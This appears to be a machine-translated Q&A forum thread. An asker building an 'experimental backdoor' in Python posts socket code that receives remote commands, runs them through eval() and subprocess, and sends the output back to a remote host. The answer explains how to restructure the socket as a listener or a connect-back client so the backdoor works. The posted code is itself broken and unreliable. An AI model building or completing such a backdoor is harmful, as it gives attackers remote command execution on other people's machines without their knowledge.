将侦听TCP端口的结果放入变量中

时间:2015-12-15 19:35:38

标签: python sockets tcp ports

我正在制作一个实验性的后门,需要将变量发送到我将发送到端口号433的字符串。我试试这个,但它不起作用。这是代码:

 import socket
 import time
 import subprocess

 host = ''  # <-- WRITE HERE THE HOST TO RECIVE INFO
 port = '433'
 s = socket.socket()
 s.accept()
 my_ip = socket.gethostbyname(socket.gethostname())
 s.bind((host, port))
 try:
     s.connect()
 except socket.error():
     time.sleep(5)
     s.connect()
 s.send("\n[*] Status: Conected!")
 s.listen(port)
 while 1:
     time.sleep(2)
     s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
     s.send("\n[*] Status: Listening port " + str(port) + "...")
     rmt_cmd = s.recv(1024)
     if rmt_cmd != "":
         eval(rmt_cmd)
         s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
         process = subprocess.Popen(rmt_cmd, shell=False,
         stdout=subprocess.PIPE, stderr=subprocess.PIPE,       stdin=subprocess.PIPE)
         cmd_output = process.stdout.read() + process.stderr.read()
         s.send("\n[*] Command output/error(s):")
         s.send("\n[*] " + cmd_output)
     else:
         s.send("\n[*] No command recived")
         s.send("\n[*] Status: Listening port " + str(port) + "...")

这里代码尝试连接到主机,如果有错误,它等待5秒钟再试一次,因为另一台计算机有一个程序,它启动接受连接的操作系统,所以后门等待5秒,因为计算机可能正在打开:

 try:
         s.connect()
     except socket.error():
         time.sleep(5)
         s.connect()

但问题是我想把rmt_cmd(remote_command)放入我将发送到端口433的字符串,这给了我另一件事:

rmt_cmd = s.recv(1024)

我该怎么做?

1 个答案:

答案 0 :(得分:1)

虽然我了解您尝试做的事情,但您尝试实现这一目标的方式需要重新设计。

s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
    s.connect()
except socket.error():
    time.sleep(5)
    s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)

你需要了解你真正想要的东西。

1)你想让你的后门保持被动并等待连接吗?那应该是这样的:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(address)  # your host/port pair that client will need to connect to
sock.listen(5)
client_sock = sock.accept()  # all the communications happen with 
                             # client_sock since now

在这种情况下,您的操作系统也可能不会让您绑定433端口。 1024以下的端口通常被第三方应用程序禁止使用以防止冲突和后门(ha-ha)。

2)您是否希望后门主动连接到远程主机?只需创建套接字并使用其connect方法。不要将bind+listen+accept(被动套接字模式)与connect(主动模式)混合。

rmt_cmd = s.recv(1024)部分is unreliable and needs to be refactoreds.send用法也是如此。改为使用s.sendall,或者您将在一个send中发送整个邮件。